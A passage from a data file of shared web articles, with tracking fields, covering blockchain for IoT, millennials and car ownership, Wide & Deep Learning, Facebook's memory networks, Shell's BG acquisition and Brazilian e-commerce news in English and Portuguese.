a few feet apart. While this model has connected generic computing devices for decades, and will continue to support small-scale IoT networks as we see them today, it will not be able to respond to the growing needs of the huge IoT ecosystems of tomorrow. Existing IoT solutions are expensive because of the high infrastructure and maintenance cost associated with centralized clouds, large server farms and networking equipment. The sheer amount of communications that will have to be handled when IoT devices grow to the tens of billions will increase those costs substantially. Even if the unprecedented economical and engineering challenges are overcome, cloud servers will remain a bottleneck and point of failure that can disrupt the entire network. This is especially important as more critical tasks such as human health and life will become dependent on IoT . There's no single platform that connects all devices. Moreover, the diversity of ownership between devices and their supporting cloud infrastructure makes machine-to-machine (M2M) communications difficult. There's no single platform that connects all devices and no guarantee that cloud services offered by different manufacturers are interoperable and compatible. Decentralizing IoT networks A decentralized approach to IoT networking would solve many of the questions above. Adopting a standardized peer-to-peer communication model to process the hundreds of billions of transactions between devices will significantly reduce the costs associated with installing and maintaining large centralized data centers and will distribute computation and storage needs across the billions of devices that form IoT networks. This will prevent failure in any single node in a network from bringing the entire network to a halting collapse. However, establishing peer-to-peer communications will present its own set of challenges, chief among them the issue of security. And as we all know, IoT security is much more than just about protecting sensitive data. The proposed solution will have to maintain privacy and security in huge IoT networks and offer some form of validation and consensus for transactions to prevent spoofing and theft. The blockchain approach Blockchain offers an elegant solution to the peer-to-peer communication platform problem. It is a technology that allows the creation of a distributed digital ledger of transactions that is shared among the nodes of a network instead of being stored on a central server. Participants are registered with blockchains to be able to record transactions. The technology uses cryptography to authenticate and identify participating nodes and allow them to securely add transactions to the ledger. Transactions are verified and confirmed by other nodes participating in the network, thus eliminating the need for a central authority. The ledger is tamper-proof and cannot be manipulated by malicious actors because it doesn't exist in any single location, and man-in-the-middle attacks cannot be staged because there is no single thread of communication that can be intercepted. Blockchain makes trustless, peer-to-peer messaging possible and has already proven its worth in the world of financial services through cryptocurrencies such as Bitcoin, providing guaranteed peer-to-peer payment services without the need for third-party brokers. Tech firms are now mulling over porting the usability of blockchain to the realm of IoT. The application of blockchain to IoT isn't without flaws and shortcomings. The concept can directly be ported to IoT networks to deal with the issue of scale, allowing billions of devices to share the same network without the need for additional resources. Blockchain also addresses the issue of conflict of authority between different vendors by providing a standard in which everyone has equal stakes and benefits. This helps unlock M2M communications that were practically impossible under previous models, and allows for the realization of totally new use cases. Concrete uses of blockchain in IoT The IoT and blockchain combination is already gaining momentum, and is being endorsed by both startups and tech giants. IBM and Samsung introduced their proof-of-concept system, ADEPT , which uses blockchain to support next-generation IoT ecosystems that will generate hundreds of billions of transactions per day. In one of the first papers to describe the use of blockchain in IoT , IBM's Paul Brody describes how new devices can be initially registered in a universal blockchain when assembled by the manufacturer, and later transferred to regional blockchains after being sold to dealers or customers, where they can autonomously interact with other devices that share the blockchain. The combination of IoT and blockchain is also creating the possibility of a circular economy and liquefying the capacity of assets, where resources can be shared and reused instead of purchased once and disposed after use. An IoT hackathon hosted by blockchain platform leader Ethereum put the concept of blockchain-powered IoT to test, in which some interesting ideas were presented , including in the domain of energy sharing and electricity and gas billing. Filament is another startup that is investing in IoT and blockchain with a focus on industrial applications such as agriculture, manufacturing and oil and gas. Filament uses wireless sensors, called Taps, to create low-power autonomous mesh networks for data collection and asset monitoring, without requiring a cloud or central network authority. The firm uses blockchain technology to identify and authenticate devices and also to charge for network and data services through bitcoin. Chain of Things is a consortium that is exploring the role of blockchain in dealing with scale and security issues in IoT. In a recent hackathon held in London, the group demonstrated the use of blockchain and IoT in a case study involving a solar energy stack designed to provide reliable and verifiable renewable data, speeding up incentive settlements and reducing opportunities for fraud. The system facilitates the process in which a solar panel connects to a data logger, tracks the amount of solar energy produced, securely delivers that data to a node and records it on a distributed ledger that is synced across a broader global network of nodes. Caveats and challenges The application of blockchain to IoT isn't without flaws and shortcomings, and there are a few hurdles that need to be overcome. For one thing, there's dispute among bitcoin developers over the architecture of the underlying blockchain technology, which has its roots in problems stemming from the growth of the network and the rise in the number of transactions. Some of these issues will inevitably apply to the extension of blockchain to IoT. These challenges have been acknowledged by tech firms , and several solutions, including side-chains, tree-chains and mini-blockchains, are being tested to fix the problem. Processing power and energy consumption is also a point of concern. Encryption and verification of blockchain transactions are computationally intensive operations and require considerable horsepower to carry out, which is lacking in many IoT devices. The same goes for storage, as ledgers start to grow in size and need to be redundantly stored in network nodes. And, as Machina Research analyst Jeremy Green explains , autonomous IoT networks powered by blockchain will pose challenges to the business models that manufacturers are seeking, which includes long-term subscription relationships with continuing revenue streams, and a big shift in business and economic models will be required. It's still too early to say whether blockchain will be the definite answer to the problems of the fast-evolving IoT industry. It's not yet perfect; nonetheless, it's a very promising combination for the future of IoT, where decentralized, autonomous networks will have a decisive role. Featured Image: Morrowind / Shutterstock",en
1467218391,CONTENT SHARED,-1557461511205521728,4670267857749552625,6175479106838347983,,,,HTML,http://www.fastcoexist.com/3027876/millennials-dont-care-about-owning-cars-and-car-makers-cant-figure-out-why,"Millennials Don't Care About Owning Cars, And Car Makers Can't Figure Out Why","Auto manufacturers today are scratching their heads, trying to figure out why the millennial generation has little-to-no interest in owning a car. What car makers are failing to see is that this generation's interests and priorities have been redefined in the last two decades, pushing cars to the side while must-have personal technology products take up the fast lane. It's no secret the percentage of new vehicles sold to 18- to 34-year-olds has significantly dropped over the past few years. Many argue this is the result of a weak economy, that the idea of making a large car investment and getting into more debt on top of college loans is too daunting for them. But that's not the ""driving"" factor, especially considering that owning a smartphone or other mobile device, with its monthly fees of network access, data plan, insurance, and app services, is almost comparable to the monthly payments required when leasing a Honda Civic. It used to be that having your own car provided the ultimate sense of freedom for young adults. What auto manufacturers, along with much of corporate America are missing here is that the vehicles to freedom and personal identity have changed for this generation. The sooner brands get a grip on this reality the sooner they can make adjustments in how they market to and communicate with this core group, which is essential to their long-term success. It used to be that having your own car provided the ultimate sense of freedom for young adults, allowing them a means to get together with friends, establish independence and separate from their parents. It was a critical right of passage to real adulthood to drive your own car, and it was the one place you could blast music without your parents complaining. Popular movies of the later Baby Boomer's and Gen X's coming of age, such as Risky Business and Dazed and Confused shaped this generation's sense of self, portraying images of fancy sports cars as the ultimate young adult possession. Today however, older teens and young adults don't need cars to achieve a sense of self and freedom. This generation's coming of age consisted of graduating from the Internet and CD-ROM computer games to hand-held mobile devices where they're establishing identities, relationships, and individualism online all day long-as much as, if not more than, in the real world. With recent studies showing a huge decline in auto sales among the millennial marketplace, it's no wonder auto manufacturers are in a mild state of panic, realizing they're missing out on a generation that wields $200 billion in purchasing power. Numbers don't lie, and over the last few years statistics have shown a significant drop in young people who own cars, as well as those with driver's licenses-and that decline continues among the youngest millennials, meaning this is not a trend that's going away anytime soon. From 2007 to 2011, the number of cars purchased by people aged 18 to 34, fell almost 30%, and according to a study from the AAA Foundation for Traffic Safety, only 44% of teens obtain a driver's license within the first year of becoming eligible and just half, 54% are licensed before turning 18. This is a major break with the past, considering how most teens of the two previous generations would race to the DMV for their license or permit on the day of their 16th birthday. The number of cars purchased by people aged 18 to 34 fell almost 30%. Unlike the Baby Boomers, who gained their independence and individuality from movies, music, cars, and motorcycles, older teens and young adults today are expressing their freedom through social channels-these are their new wheels and they get the keys now starting at about age 9. Marketing to this group demands a different mindset that involves taking the time to understand the neo-millennials. Exacerbating the issue is the general misperception that millennials are lazy, privileged, and putting off adulthood. This leads many marketers down the wrong road when attempting to connect and engage with this generation. Our latest research shows that these 17-25 year olds are not who most adults think they are. In multiple studies of college millennial consumers (CMCs), our studies reveal a highly motivated, open-minded, passionate, and extremely engaged consumer. They could even be considered more practical than generations before them. For instance, one study of CMCs conducted in May of 2013 showed students using their summer jobs to set them up more securely for early adulthood. Out of more than 1,600 college students surveyed: A full 96% were focused on making money to curtail their tuition and other college expenses. Nearly 30% needed to make $4,000 or more for the summer. Nearly 50% of students were engaging in some form of ""paid internship,"" in an effort to gain both pay and valuable job experience. While they might appear distracted and lazy gazing at their phones, in reality, they are keenly aware of what's happening around them, perhaps more so than other generations, and focused on their near and long-term opportunities. Because millennials use technology in every facet of their lives-from mobile phones to tablets and laptops-to connect with friends and family and to get work done, the tech gadget is their most prized possession, and has a much higher value to a CMC than transportation or owning a car. Think about it: while CMCs are likely to share a car and a ride, there's no way they would ever share their phone. CMCs game together and hang out virtually, they don't have that same need to physically get together as prior generations. The CMC's popularity and relationships are defined by their online status, not their ""cool ride"" and they make all of their connections online. millennials search for jobs online. They prefer to coordinate dating online, and meet people through websites and apps. Brands looking to target this unique audience need to make adjustments in their communication and engagement, while making sure they appeal to this group's fundamental interests. Companies like our client ZipCar, for example, are tapping into millennial preferences for practical, accessible, and environmentally friendly modes of transportation that neither attempt to define or detract from these young adults' online connections and freedom. Through an innovative, successful marketing campaign, Zipcar took their messaging and experiential peer-to-peer program to over 45 college campuses nationwide, resulting in 39% YOY growth in applications, 9.9 million impressions, and 6,200+ new applications. Although they can't expect to match millennials' preference for technology, automotive manufacturers and dealers can promote merchandise and features that meet this generation's interests, such as tech-enabled cars with voice-activated communications and entertainment system and in-car connectivity as an extension of their phones. The first generation Ford SYNC system features voice-activated calling, music, text messaging, as well as the ability to allow drivers to connect to news, business, and real-time traffic. We'll be seeing even more versions of the connected car in the upcoming year. Perhaps it's a sign of maturity that this next generation of consumers doesn't feel the need to define themselves by their cars, but instead more by what they say, share, capture, and create. But what auto manufacturers and other consumer brand companies need to be thinking is, ""How can I help them say, share, capture, and create more?"" They can start by gaining a better understanding of the millennial consumer, their interests and behaviors, to fully engage with them in their world. This will help identify and/or create situations and niche opportunities where car use and ownership is an advantage. Then they can extend the dialogue to younger millennials in particular, reaching them to create a new definition of freedom and empowerment for a new generation.",en
1467219707,CONTENT SHARED,8901449108040307914,-6786856227257648356,4843271338129443641,,,,HTML,https://www.infoq.com/br/presentations/monitoramento-em-tempo-real-com-elasticsearch-e-kibana,Monitoramento em tempo real com Elasticsearch e Kibana,"Resumo Descubra o que acontece com o seu código em produção, com Elasticsearch, Kibana e Codahale Metrics. Nessa apresentação explicarei como indexar em uma base nosql uma quantidade massiva de informações sobre a utilização do seu sistema, proporcionando uma forma de antecipar problemas e responder rapidamente sobre anomalias no seu código, em tempo real. Minibiografia Arquiteto de software a mais de 9 anos, projetando e conduzindo soluções complexas em grandes clientes. Formado na Universidade Federal de Uberlândia em 2002, iniciou sua carreira na Ci&T em 2004 e, desde 2014, atua como responsável pelo time de arquitetos na vertical de Resources & Logistics, garantindo que as práticas de arquitetura e tecnologias corretas sejam aplicada nestes projetos. A comunidade de desenvolvimento DevIsland organizou novamente o DEVDAY, um evento para desenvolvedores de software. Na sua sexta edição, o DEVDAY 2015 reuniu aproximadamente 500 desenvolvedores. Mais de 20 profissionais reconhecidos pelo mercado nacional que compartilharam seus conhecimentos nas 20 palestras do evento. Foram abordados diversos assuntos focados em desenvolvimento de software ou que de alguma forma afetam a vida de um desenvolvedor.",pt
1467220177,CONTENT SHARED,-5833012379380837354,-1352064057049251194,6829632265652443155,,,,HTML,http://www.investimentosenoticias.com.br/noticias/negocios/rakuten-e-premiada-como-melhor-plataforma-de-e-commerce-do-varejo-brasileiro,Rakuten é premiada como melhor plataforma de e-commerce do varejo brasileiro,"A Rakuten Digital Commerce acaba de ser premiada como a melhor plataforma de e-commerce do varejo nacional. A empresa ganhou o Prêmio BR Week, o mais importante reconhecimento do setor no país e que foi entregue nessa segunda-feira (27) durante o Brazilian Retail Week, realizado pelo Grupo Padrão no Hotel Transamérica, em São Paulo (SP). O prêmio avalia mais de 30 indicadores de desempenho das empresas, analisando fatores como rentabilidade, estratégia, eficiência da estrutura de TI, entre outros. ""Ser escolhida a melhor plataforma de e-commerce do país é motivo de orgulho para nós. Ainda mais sabendo que, para a avaliação, o prêmio BR Week analisa se a oferta de serviços e produtos é adequada, assim como se a empresa tem capacidade de compreender as necessidades e expectativas dos varejistas. É justamente o que sempre buscamos"", explica René Abe, COO da Rakuten no Brasil. A Rakuten é uma das maiores empresas de Internet Services do mundo e no Brasil atua fornecendo plataformas de e-commerce e no marketplace. O ecossistema da marca atende desde a plataforma, pagamentos, até a gestão da logística da loja online, de maneira personalizada e a um custo muito menor que a média do mercado. Estes são alguns motivos pelos quais a empresa acabou sendo a vencedora do prêmio do Brazilian Retail Week, que busca contribuir com o crescimento, fortalecimento e desenvolvimento das redes varejistas, assim como fazer com que os fornecedores e parceiros de negócios ofereçam sistemas cada vez mais adequados ao varejo. (Redação - Agência IN)",pt
1467220941,CONTENT SHARED,7155061818771055780,-1443636648652872475,5567902511029160662,,,,HTML,https://research.googleblog.com/2016/06/wide-deep-learning-better-together-with.html,Wide & Deep Learning: Better Together with TensorFlow,"""Learn the rules like a pro, so you can break them like an artist."" - Pablo Picasso The human brain is a sophisticated learning machine, forming rules by memorizing everyday events (""sparrows can fly"" and ""pigeons can fly"") and generalizing those learnings to apply to things we haven't seen before (""animals with wings can fly""). Perhaps more powerfully, memorization also allows us to further refine our generalized rules with exceptions (""penguins can't fly""). As we were exploring how to advance machine intelligence, we asked ourselves the question-can we teach computers to learn like humans do, by combining the power of memorization and generalization? It's not an easy question to answer, but by jointly training a wide linear model (for memorization) alongside a deep neural network (for generalization), one can combine the strengths of both to bring us one step closer. At Google, we call it Wide & Deep Learning . It's useful for generic large-scale regression and classification problems with sparse inputs ( categorical features with a large number of possible feature values), such as recommender systems, search, and ranking problems. Today we're open-sourcing our implementation of Wide & Deep Learning as part of the TF.Learn API so that you can easily train a model yourself. Please check out the TensorFlow tutorials on Linear Models and Wide & Deep Learning , as well as our research paper to learn more. How Wide & Deep Learning works. Let's say one day you wake up with an idea for a new app called FoodIO . A user of the app just needs to say out loud what kind of food he/she is craving for (the query ). The app magically predicts the dish that the user will like best, and the dish gets delivered to the user's front door (the item ). Your key metric is consumption rate-if a dish was eaten by the user, the score is 1; otherwise it's 0 (the label ). You come up with some simple rules to start, like returning the items that match the most characters in the query, and you release the first version of FoodIO. Unfortunately, you find that the consumption rate is pretty low because the matches are too crude to be really useful (people shouting ""fried chicken"" end up getting ""chicken fried rice""), so you decide to add machine learning to learn from the data. The Wide model. In the 2nd version, you want to memorize what items work the best for each query. So, you train a linear model in TensorFlow with a wide set of cross-product feature transformations to capture how the co-occurrence of a query-item feature pair correlates with the target label (whether or not an item is consumed). The model predicts the probability of consumption P(consumption | query, item) for each item, and FoodIO delivers the top item with the highest predicted consumption rate. For example, the model learns that feature AND(query=""fried chicken"", item=""chicken and waffles"") is a huge win, while AND(query=""fried chicken"", item=""chicken fried rice"") doesn't get as much love even though the character match is higher. In other words, FoodIO 2.0 does a pretty good job memorizing what users like, and it starts to get more traction. The Deep model. Later on you discover that many users are saying that they're tired of the recommendations. They're eager to discover similar but different cuisines with a ""surprise me"" state of mind. So you brush up on your TensorFlow toolkit again and train a deep feed-forward neural network for FoodIO 3.0. With your deep model, you're learning lower-dimensional dense representations (usually called embedding vectors) for every query and item. With that, FoodIO is able to generalize by matching items to queries that are close to each other in the embedding space. For example, you find that people who asked for ""fried chicken"" often don't mind having ""burgers"" as well. Combining Wide and Deep models. However, you discover that the deep neural network sometimes generalizes too much and recommends irrelevant dishes. You dig into the historic traffic, and find that there are actually two distinct types of query-item relationships in the data. The first type of queries is very targeted. People shouting very specific items like ""iced decaf latte with nonfat milk"" really mean it. Just because it's pretty close to ""hot latte with whole milk"" in the embedding space doesn't mean it's an acceptable alternative. And there are millions of these rules where the transitivity of embeddings may actually do more harm than good. On the other hand, queries that are more exploratory like ""seafood"" or ""italian food"" may be open to more generalization and discovering a diverse set of related items. Having realized these, you have an epiphany: Why do I have to choose either wide or deep models? Why not both? Finally, you build FoodIO 4.0 with Wide & Deep Learning in TensorFlow. As shown in the graph above, the sparse features like and item=""chicken fried rice"" are used in both the wide part (left) and the deep part (right) of the model. During training, the prediction errors are backpropagated to both sides to train the model parameters. The cross-feature transformation in the wide model component can memorize all those sparse, specific rules, while the deep model component can generalize to similar items via embeddings. Wider. Deeper. Together. We're excited to share the TensorFlow API and implementation of Wide & Deep Learning with you, so you can try out your ideas with it and share your findings with everyone else. To get started, check out the code on GitHub and our TensorFlow tutorials on Linear Models and Wide & Deep Learning . Acknowledgement Bringing Wide & Deep from idea, research to implementation has been a huge team effort. We'd to like to thank all the people who have contributed to the project or have given us advice, including: Heng-Tze Cheng, Mustafa Ispir, Zakaria Haque, Lichan Hong, Rohan Anil, Denis Baylor, Vihan Jain, Salem Haykal, Robson Araujo, Xiaobing Liu, Yonghui Wu, Thomas Strohmann, Tal Shaked, Jeremiah Harmsen, Greg Corrado, Glen Anderson, D. Sculley, Tushar Chandra, Ed Chi, Rajat Monga, Rob von Behren, Jarek Wilkiewicz, Christine Robson, Illia Polosukhin, Martin Wicke, Gus Katsiapis, Alexandre Passos, Olivier Chapelle, Levent Koc, Akshay Naresh Modi, Wei Chai, Hrishi Aradhye, Othar Hansson, Xinran He, Martin Zinkevich, Joe Toth, Anton Rusanov, Hemal Shah, Petros Mol, Frank Li, Yutaka Suematsu, Sameer Ahuja, Eugene Brevdo, Philip Tucker, Shanqing Cai, Kester Tong, and more.",en
1467226051,CONTENT SHARED,2819427195737975069,-1443636648652872475,5567902511029160662,,,,HTML,http://www.slate.com/blogs/future_tense/2016/06/28/facebook_s_ai_researchers_are_making_bots_smarter_by_giving_them_memory.html,Facebook Thinks It Has Found the Secret to Making Bots Less Dumb,"If there's one thing we've learned about bots over the years, it's that they aren't too bright. From Eliza to Tay , the best-known chat bots generally rely on a distinctive personality to cover for their inability to understand what you're saying. Meanwhile, business-oriented bots such as Microsoft's Clippy, Slackbot, and Poncho, tend to be inflexible, because they're hard-coded with preset responses to specific queries. And just when you think you've found a bot that's really impressive-say, Facebook's M , or x.ai's Amy Ingram -it turns out that there are humans behind the curtain stepping in to solve the problems the computer can't. This year began with a fresh wave of bot hype , which quickly petered out when users found that the new generation of artificial interrogators was only marginally more useful than the last one. Yet there is still reason to believe that the bots of tomorrow will be smarter than today's-and, more importantly, that they'll be able to learn and improve over time. New research from FAIR, Facebook's artificial intelligence research arm, might help to point the way. Last year the team introduced a new type of machine-learning model for language understanding, called "" memory networks ."" The idea was to combine machine learning algorithms-specifically, neural networks-with a sort of working memory, letting bots store and retrieve information in a way that's relevant to a given conversation. Facebook demonstrated the technology by feeding its software a series of sentences that convey key plot points from Lord of the Rings , then asking it questions such as, "" Where is Bilbo now? "" (The system's reply: Grey-havens.) This month, the team pre-published a new paper on arXiv that generalizes the memory-networks approach so that it can better interpret unstructured data sources and published documents, such as Wikipedia pages, rather than just specifically designed ""knowledge bases"" that store information one fact at a time. That's important because knowledge bases tightly constrain the information that's available to a bot, as well as the type of questions you can ask. (Try asking Poncho about something other than the weather.) If Facebook's algorithms can start to interpret natural language data sources such as Wikipedia in a way that makes sense in a given conversational setting, it opens the potential for bots that can answer all kinds of questions on a vast range of topics. FAIR calls the new approach "" key-value memory networks ."" Screenshot / Facebook Messenger for iOS So far, Facebook's system can't answer questions as accurately when reading from a document as it can when working from a structured knowledge base. But Facebook says its method significantly closes the accuracy gap between the two. And the memory-networks approach allows a bot to store not only the relevant source data, but the questions you've already asked it and the responses it has given. That way, when you ask a follow-up, it knows not to repeat the same information, or to ask you for information you've already given. Facebook is already using memory networks in M, the do-it-all virtual assistant that lives inside the Messenger app (provided you're among the handpicked group of beta testers with access to it). They come in handy when, for example, you ask M to make a restaurant reservation. Rather than simply launching into a predefined list of questions-""What time?"" ""What kind of food?"" ""How many people?""-it can extract and store the relevant information over the course of a more natural series of questions and answers. So if you say, ""I'm looking for a Mexican restaurant for five people tomorrow night,"" it doesn't have to ask you, ""what kind of food?"" or ""how many people?"" And if you suddenly get distracted and ask it, ""Who is the president of the United States?"" it can quickly reply, ""Barack Obama,"" then remind you that you still need to tell it what time you'd like to have dinner tomorrow night. Facebook isn't the only company that's working to combine machine-learning algorithms with contextual memory. Google's artificial intelligence lab, DeepMind, has developed a system that it calls the Neural Turing Machine . In an impressive demonstration, Google's Neural Turing Machine learned and taught itself to use a copy-paste algorithm by observing a series of inputs and outputs. Facebook Chief Technical Officer Mike Schroepfer has called memory ""the missing component of A.I."" And FAIR research scholar Antoine Bordes, who co-authored the papers on memory networks, told me he believes it could hold the key to finally building bots that interact naturally, in human language. ""The way people use language is very difficult for machines, because the machine lacks a lot of the context,"" Bordes said. ""They don't know that much about the world, and they don't know that much about you."" But-at last-they're learning.",en
1467226275,CONTENT SHARED,2645380860642118790,2416280733544962613,414825035855844142,,,,HTML,http://www.mckinsey.com/business-functions/strategy-and-corporate-finance/our-insights/weve-realized-a-ten-year-strategy-goal-in-one-year,'We've realized a ten-year strategy goal in one year',"Gerard Paulides, who led Shell's $66 billion acquisition of BG, describes the thinking, the process, and the intensity behind the deal. When Royal Dutch Shell announced plans last year to acquire BG Group, the Britain-based oil and gas producer, the deal represented both Shell's largest M&A deal ever and one of the first energy mergers in an era of low oil prices. Although the acquisition came as oil prices continued to fall, investors roundly approved of it. Gerard Paulides, who led the team that planned the acquisition and worked on its completion, says the strategic discontinuity in the energy sector is more fundamental than finding new resources or taking out costs as oil and gas remain volatile and the mix of energy sources changes. He recently sat down with Ivo Bozon and Dumitru Dediu to discuss deal making in the oil and gas sector, the BG transaction, and the challenges of implementing large mergers and acquisitions. What follows is a transcript of that conversation, edited for publication. Gerard Paulides biography McKinsey: The oil and gas sector would seem to be ripe for deal making. What's the historical view of the role of M&A in oil and gas? Gerard Paulides: Historically, the sector has done big M&A deals (rather than just regular asset transactions) when there have been big discontinuities. In the late 1990s, the discontinuity was oil at $10 a barrel, and the focus was on managing costs. In the early 2000s, the discontinuity was the perception that the world was going to run out of oil and gas at some stage. The focus at that point was on finding more oil and gas reserves-both through M&A and organically finding and developing resources to produce. The discontinuity in the current environment is more fundamental than finding new resources or taking out costs. It's about the ability to move in a changing world with highly volatile oil and gas prices-and, possibly, a different mix of future energy sources. Companies in the oil and gas sector typically develop assets, resources, and relationships with governments organically and over the long term. We like to hold onto assets, developing and producing them over three or four decades. Arguably, the industry's integrated model between production upstream, trading, downstream, gas, and chemicals makes it a bit more dynamic than, say, a pure upstream model would. But at the same time, being integrated also makes the industry even more fixed. McKinsey: How does Shell's recent acquisition of BG fit into that? Gerard Paulides: The purpose of acquiring at this moment in time on such a fundamental scale is that it allows us to recycle a meaningful part of our company. It's a purposeful, deliberate move to emphasize the company's strategic goals in certain segments, such as integrated gas and deepwater. We always have a coveted, or target, portfolio, but it's always something of a ten-year outlook. With the BG acquisition, we've realized a ten-year strategy goal in one year. Having done that, the implications of the move for our portfolio are here and now, and not in ten years' time. And we also have to take out the bits that no longer fit, which are a magnitude bigger than normal. We regularly divest assets from our capital employed. If you make a big move like this one, you have to measure that proportionately-so we now need to divest significantly more, probably double the normal level and maintained over a number of years. We'll take our time, but we do need to do it to rebalance the company. McKinsey: You mentioned the volatility in oil prices, but you also talk about an industry that operates over three to four decades. How closely do you watch volatility given that long-term focus? Gerard Paulides: As a deal maker, I watch volatility closely, in specific segments, over the shorter term, and also in the financial markets in general. Because if volatility is high-over a month, three months, six months-risk capital becomes more scarce and your ability to move is affected. If you're committed and you can fill that vacuum, then you can realize a first-mover advantage relative to your competition. And once you complete a deal, you can focus on running your business while your competition is still trying to deal with that volatility-retrenching in terms of cutting back spending, cutting back capex, laying off people, and making defensive moves. Now, that also means that once you've done a deal, you do need to get on with it. You can't continue to behave as if you hadn't placed your money yet. You've been given a license to spend so many billions of dollars, but people are watching you, and they have high expectations. And the bigger the deal, the more fundamentally it will impact the company. McKinsey: How do you put together the best core M&A team? Gerard Paulides: A company doing sizable, world-scale M&A should have a core deal team of about ten people-and you need to be deliberate about who you include. It's not a seniority game; it's a game about having the best people available for an intense activity over a prolonged period. If you have five external team members available, principals from the bankers, the lawyers, the strategic advisers, then you have a good team-but you need to handpick them. The more you can allow them to do their job and mobilize as their point of view drives them, the better off you are. Reporting lines are also important. An M&A team leader should have a direct reporting line to the CEO and CFO and also establish a relationship with the board. The head of strategy, if there is one, should be a part of any dialogue around deals but shouldn't be a conduit for that M&A dialogue between the team and the CEO. If you're talking about big deals on a global scale, you can only work with one decision maker. Black swans and barrels: How to think about the future of oil prices Read the article McKinsey: How does the long-term nature of the oil and gas industry correlate with how you think about short-term market reactions? Does the market often get it right at the start, or does it need to see a deal play out over time? Gerard Paulides: Obviously, financial-market requirements need to be followed during the entire process, ensuring timely and complete disclosure of information. If the market reacts differently than you expect, then either you didn't explain the deal very well or you didn't see an issue that the market does. You need to respond to that. I also think that in oil and gas it's much too easy to say, ""We're a long-term industry, it's a short-term blip. Let's ignore it."" The financial markets are based on ultimate transparency of information and immediate pricing, and its feedback is immediate, brutal, transparent-and free. So you need to know why the markets react the way they do. The financial markets have the luxury of not having all the detail, so they don't come up with all sorts of rationales to explain why a result is not what you think it should be. They step back and look at the big trends, and compare and contrast, and say, based on all this information, ""I get it,"" or ""I don't get it."" On the other hand, the company has the luxury of having all the detail, so it knows how to explain the market's reaction. That can be a good thing or a bad thing, and you have to be honest enough with yourself to tell the difference. McKinsey: How would you compare the level of effort before announcing a deal of this size with the level of effort after? Gerard Paulides: If you manage a company like Shell, 99 percent of the company doesn't know what's happening prior to the announcement, or why-even though you're using your entire day and your entire week to deal with the intensity of the planning. After the deal is announced, the intensity changes, because then 99 percent of the company and the market know what you're doing. They expect you to allocate time to it. In the beginning, that's relatively predictable, because you've programmed it in, you've prepared yourself, and you've allocated half your calendar and agenda to manage the deal and half to running the company. And that's OK. But then you get to the end of the process-in our case, the last 3 months of a 12-month period-and the heat goes up. The scrutiny gets even more intense, as people have to place their bets, the shareholders have to vote, the debt providers have to calibrate their positions, and the other company has to make up its mind considering its own best interests and the latest developments in the market. For a world-class transaction at the scale of our acquisition of BG-if you think you're going to be busy in those last three months, double what you expect, and you'll probably get close to where it will turn out. That's why it's important not to underestimate how grueling these things can be. It's well worth paying extra attention to your own mental and physical fitness-as well as that of your team. McKinsey: Is there a difference between the intensity of a deal and just the amount of time going into it? Gerard Paulides: You can spend a lot of time without being intense. We had about 20 subject-matter-expert work streams in the BG deal. At any moment, any of those work streams might be the most important, whether it's a treasury topic that requires immediate attention, some regulatory discussion for antitrust purposes, or a valuation of an asset in Brazil. So by intensity, I mean the demands of dealing with all those matters at once-when your judgment is consequential at a level you normally don't have. There were certain points in 2015 and 2016 when I couldn't open a newspaper daily without reading some write-up or some subject-matter-expert review-and everyone knows what you're doing, including your entire family and all your friends. You probably cram three years into one. And you almost think, ""What happened in the last 18 months? We were at Easter, and then it was Christmas, and then it was Easter again."" That's intensity. McKinsey: On the BG deal, what was the market's initial reaction? Gerard Paulides: The BG acquisition was a unique fit for Shell, and the timing and opportunity were there. The market's reaction to the deal was complete and wholesome, and investors have embraced it as a good match. The debate was not about strategy or the rationale for the deal or the portfolio opportunity that the deal would create with divestments. All that was quickly understood. That was why we started the whole exercise, because it all makes sense. The debate was ""at what price?"" With oil prices dropping from above $100 a barrel in early 2015 to below $50 a barrel in early 2016, it's difficult to price the opportunity. You need to work your way through that. So you have your base valuation, you have your financial metrics, you have your synergy on top of that, and then you have your reset opportunity for the company. And most of the debate was around the reset opportunity and the pricing. In fact, that's a pretty luxurious position, because it meant we weren't debating strategy. We weren't debating portfolio. Our fundamentals were spot-on. That's where you want to be for any deal. If you don't get over that hurdle, you don't have a hope of discussing financials, and value, and execution, and management quality, and trust, and all of that. McKinsey: What are the biggest risks to the success of a deal like this? Gerard Paulides: Failing to recognize the intensity of the integration needed. Or, if we go back to what used to be business as usual, spending as if we hadn't done this transaction. Market conditions can make it easier or harder. If oil prices go directionally more up than down, life will be easier-but that carries its own risk. An improving market can bail you out too easily, without the intensity of the reset and the portfolio rebalancing. You may forget your original intentions. About the author(s) Ivo Bozon is a senior partner in McKinsey's Amsterdam office, where Dumitru Dediu is an associate principal.",en
1467228870,CONTENT SHARED,-8026099268928087567,-1352064057049251194,6829632265652443155,,,,HTML,http://www.dino.com.br/releases/plataforma-anuncia-integracao-com-marketplace-lider-em-artigos-esportivos-dino89097279131,Plataforma anuncia integração com marketplace líder em artigos esportivos,"Os marketplaces são uma tendência crescente no comércio eletrônico, já com uma participação de 20% das vendas em um mercado que movimenta cerca de R$ 40 bilhões. Para facilitar a atividade de seus clientes nesses ambientes, a EZ Commerce anuncia integração de sua plataforma aos marketplaces do Grupo Netshoes. A partir de agora, os varejistas virtuais de artigos esportivos, vestuários, calçados e acessórios contam com uma adesão simplificada aos marketplaces Netshoes e Zattini, graças à unificação e otimização dos sistemas. Com isso, o e-commerce passa a contar com maior controle da operação, com atualização constante de informações dos produtos, preços, estoque, pedidos, notas ficais e rastreio. ""A parceria surgiu diante da necessidade de uma loja cliente da EZ Commerce com grande volume de vendas integrar suas operações com o nosso marketplace. A plataforma da EZ é ágil, flexível e eficaz, e conseguiu integrar facilmente com a Netshoes e Zattini, superando todas as expectativas"", afirma Bruno Ortale, head de Marketplace do Grupo Netshoes. ""Essa união supre a demanda de todos os lojistas que querem vender na Netshoes e antes faziam isso de forma totalmente manual, usando planilhas. Agora, com poucos cliques, realizam gerenciamento das vendas e estoque, enquanto os consumidores passam a contar com a infraestrutura e os canais de relacionamento do Grupo Netshoes"", ressalta Henrique Mengue, CEO da EZ Commerce. Com a integração, os lojistas ganham um tráfego qualificado de mais de 50 milhões de potenciais compradores por mês na Netshoes, líder em esporte, e Zattini, a segunda maior loja de moda do país com apenas um ano de existência. Já os clientes passam a contar com um portfólio maior e mais completo, com mais de 80 mil produtos entre moda e esporte, por meio das lojas nos dois marketplaces.",pt
